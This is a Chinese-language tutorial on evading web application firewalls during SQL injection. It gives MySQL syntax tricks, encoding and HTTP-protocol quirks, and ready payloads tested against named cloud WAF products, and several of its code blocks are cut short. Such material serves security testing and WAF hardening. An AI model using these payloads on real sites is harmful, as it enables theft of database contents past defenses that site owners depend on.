BypassWaf_sql
数据库特性
①注释
1 | # |
但/**/ > 1个就可以绕过waf
科学计数法
1 | select id,id_number,weibo from table where id=0e1union select user,password,1e1from mysql.user |
空白字符:
1 | SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20 |
+号
1 | select * from users where user_id=1e8union(select+1,(select schema_name from information_schema.schemata limit 1)); |
-号
1 | select * from users where user_id=1e8union(select-1,(select schema_name from information_schema.schemata limit 1)); |
`号
1 | select * from users where user_id=1e8union(select 1,(select `schema_name` from information_schema.schemata limit 1)); |
~号
1 | select * from users where user_id=1e8union(select~1,(select schema_name from information_schema.schemata limit 1)); |
!号
1 | select * from users where user_id=1e8union(select!1,(select schema_name from information_schema.schemata limit 1)); |
@`形式
1 | select * from users where user_id=1e8union(select@`1`,(select schema_name from information_schema.schemata limit 1)); |
点号.1
1 | select username from users where id=.1union/*.1*/select password from users; |
单引号双引号
1 | select username from users where id=.1union/*.1*/select"1",password from users; |
括号select(1)
1 | select * from users where user_id=1e8union(select 1,(select(schema_name)from information_schema.schemata limit 1)); |
mysql中的union用法
union查询就是把2条或者多条sql语句的查询结果,合并成一个结果集。
如:sql1: N行,sql2: M行,sql1 union sql2 ---> N+M行
1、能否从2张表查询再union呢?
可以,union 合并的是"结果集",不区分在自于哪一张表.
2、取自于2张表,通过"别名"让2个结果集的列一致。那么,如果取出的结果集,列名字不一样,还能否union.
可以,而且取出的最终列名,以第1条sql为准
3、union满足什么条件就可以用了?
只要结果集中的列数一致就可以.(如都是2列或者N列)
4、union后结果集,可否再排序呢?
可以的。Sql1 union sql2 order by 字段
注意: order by 是针对合并后的结果集排的序.
5、如果Union后的结果有重复(即某2行,或N行,所有的列,值都一样),怎么办?
这种情况是比较常见的,默认会去重.
6、如果不想去重怎么办?
union all
1 | 1、 union会去掉重复的行 |
Fuzzing
云盾
1 | union+select 拦截 |
Bypass Payload:
1 | 1 union(select%0aall{x users}from{x ddd}) |
可运用的sql函数&关键字:
1 | MySQL: |
Mysql BIGINT数据类型构造溢出型报错注入
BIGINT最大值进行增值运算的时候,signed/unsigned都会爆出BIGINT value is out of range的错误,也就是溢出了。还有就是Mysql逐位取反的特性,打个比方:
1 | mysql> select ~0; |
BIGINT Overflow Error Based SQL Injection
*容器特性 *
%特性:
asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而 没特殊要求的waf当然是不会的:
1 | id =1' union sel%ect user f%rom ddd |
%u特性:
iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但 waf就不一定了:
1 | id =1' union sel%ect user f%rom ddd |
这个特性还存在另一个case,就是多个widechar会有可能转换为同一个字符。
1 | s%u0065lect->select |
WAF对%u0065会识别出这是e,组合成了select关键字,但有可能识别不出%u00f0
其实不止这个,还有很多类似的
1 | 字母a: |
畸形协议&请求
asp/asp.net
还有asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交 方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/xwww-form-urlencoded提交数据方式进行过滤,就会导致任意注入。
php+Apache:
waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没 有那么严格,当我们将协议随便定义时也是可以的:
PHP解析器在解析multipart请求的时候,它以逗号作为边界,只取boundary,而普通解 析器接受整个字符串。 因此,如果没有按正确规范的话,就会出现这么一个状况:首先 填充无害的data,waf将其视为了一个整体请求,其实还包含着恶意语句。
1 | ------,xxxx |
通用的特性`
- HPP:
HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。
假设提交的参数即为:
id=1&id=2&id=3
1 | Asp.net + iis:id=1,2,3 |
- 双重编码:
这个要视场景而定,如果确定一个带有waf的site存在解码后注入的漏洞的话,会有效避过waf。
1 | unlencode |
- 我们在整体测试一个waf时,可测试的点都有哪些?
GET、POST、HEADER那么我们专门针对一个waf进行测试的时候就要将这几个点全测试个遍,header中还包括Cookie、X-Forwarded-For等,往往除了GET以外其他都是过滤最弱的。
各大厂商
正则逃逸: 过 滤 了 %23%0a
却 不 过 滤%2d%2d%0a
百度云
curl:
1 | curl http://192.168.211.237/test.php -d "id=1 union%23%0Aselect user,password from users" |
科学计数法:
1 | http://192.168.211.237/test.php?id=1e1union select user,password from users |
%23%0a:
1 | http://192.168.211.237/test.php?id=1e1union%23%0aselect user,password from users |
阿里云盾
过滤了union+select+from,那我select+from+union呢?使用Mysql自定义变量的特性 就可以实现,这里举一个阿里云盾的案例:
1 | select user_login from wp_users where id=1|@pwd:=(select user_pass from wp_users where id=1) union select @pwd; |
由于后面在调用自定义变量的时候需要用到union+select,所以还需要绕过这个 点。/*ddd*/union/*ddd*/select
就可以了。
Bypass Payload:
1 | id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd |
腾讯云
腾讯云安全怎么检测sql注入
- union+select拦截
- select+from拦截
- union+from不拦截
那么关键的点就是绕过这个select关键字
- select all
- select distinct
- select distinctrow
1 | 既然这些都可以,再想想使用这样的语句怎么不被检测到?select与all中间肯定不能用普 通 的 /**/ 这 种 代 替 空 格 , 还 是 会 被 视 为 是 union+select 。 select all 可 以 这 么 表 达/*!12345select all*/,腾讯云早已识破这种烂大街的招式。尝试了下/*!*/中间也可以使 用%0a换行 |
payload:
1 | select user,password from users where user_id=1 union/*!12345%0aselect%20all*/ 被拦截 |
/*!12345%0aselect%20all*/
还是会被拦截,这就说明腾讯云在语法检测的时候会忽略掉数字后面的%0a换行,虽然属于union+12342select,但简单的数字和关键字区分识别还是做得到。再测试/*!12345select%0aall*/
结果就合乎推理了,根据测试知道腾讯云安全会忽略掉%0a换行,这就等于union+12345selectall
, 不会被检测到。(忽略掉%0a换行为了过滤反而可以用来加以利用进行Bypass)
最终payload
1 | id=1 union /*!12345select%0aall*/ 因为把%0a忽略,加上/*12345*/绕过可union select检测 |
Bypass Payload:
1 | 1' union/*!50000select%0aall*/username from users%23 |
安全狗
不是绕不过狗,只是不够细心:
1 | union+select拦截。 |
1 | post: |
在上一个网站被拦截,但是另一个网站不拦截
这里证明一个观点:好姿势不是死的,零零碎碎玩不转的姿势巧妙的结合一下。所 以说一个姿势被拦截不代表就少了一个姿势
云锁&360
云锁版本迭代导致的 & 360主机卫士一直存在的问题
注意POST那个方向,waf在检测POST传输的数据过程中,没有进行URL的检测,也就是说waf会认为URL上的任何参数信息都是正常的。既然是POST请求,那就只检测请求正文咯。(神逻辑)
在标准HTTP处理流程中,只要后端有接收GET形式的查询字段,即使客户端用POST传输,查询字符串上满足查询条件时,是会进行处理的。(没毛病)
当waf成了宕机的罪魁祸首是什么样的?举一个安全狗的案例:
1 | /*666666666666666666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666666666666666666 66666666666666666666666666666666666666666666666666666666666666666 6666666666666666666666666666666666666666*/ |
再举一个云锁也是因为数据包过长导致绕过的案例
云锁在开始检测时先判断包的大小是否为7250byte以下,n为填充包内容,设置n大 小为2328时,可以正常访问页面,但是会提示拦截了SQL注入,当数据包超过2329时就可以成功绕过,2329长度以后的就不检测了。?
安全宝&阿里云盾
emoji是一串unicode字集组成,一个emoji图标占5个字节,mysq也支持emoji的存 储,在mysql下占四个字节:
:cry::cry::cry::cry::cry::cry::cry::cry::cry::cry:
:angry::angry::angry::angry::angry::angry::angry::angry::angry::angry:
自动化Bypass
首先总结下sqlmap的各种bypass waf tamper:
1 | apostrophemask.py 用UTF-8全角字符替换单引号字符 |
看起来很全,但有个缺点就是功能单一,灵活程度面对当今的主流waf来说很吃力了。
提到系统的训练,鉴于多数waf产品是使用Rule进行防护,那么这里不说什么机器学习。来点简单粗暴有效果的修复方案:我把每个sql关键字比喻成“位”,将一个“位”的两边进行模糊插入各种符号,比如注释(# -- /**/)、逻辑运算符、算术运算符等等。
15年黄登在阿里云安全峰会提到的fuzz手法通过建立一个有毒标识模型,将将其插入到各种“位”,测试其waf。
最常见的四种sql注入语句:select、update、insert、delete
1 | 有毒标识定义为n |
通常waf引擎先转换m后再去匹配,这个还是要看场景。还有关键字不止这些,稍微复杂一点的环境就会需要更多的关键字来注入,也就会需要fuzz更多的位。还没说特殊字符,根据系统含有特殊意义的字符等等,也要有所顾忌。
当前几个关键字达到绕过效果时,只需继续fuzz后面几个位即可。
还有就是传输过程中可测试的点:
因为当我们在传输的过程中导致的绕过往往是致命的,比如中间件的特性/缺陷,导致waf不能识别或者是在满足特定条件下的欺骗了waf。
reference:
https://04z.net/archives/2030ee36.html
先知上面的图片都挂了,我自己复现重新整理了下,半年前就看到这篇文章,到现在觉得还有很多东西要向作者学习,有需要我分享该文电子版的可以私聊我。继续加油叭。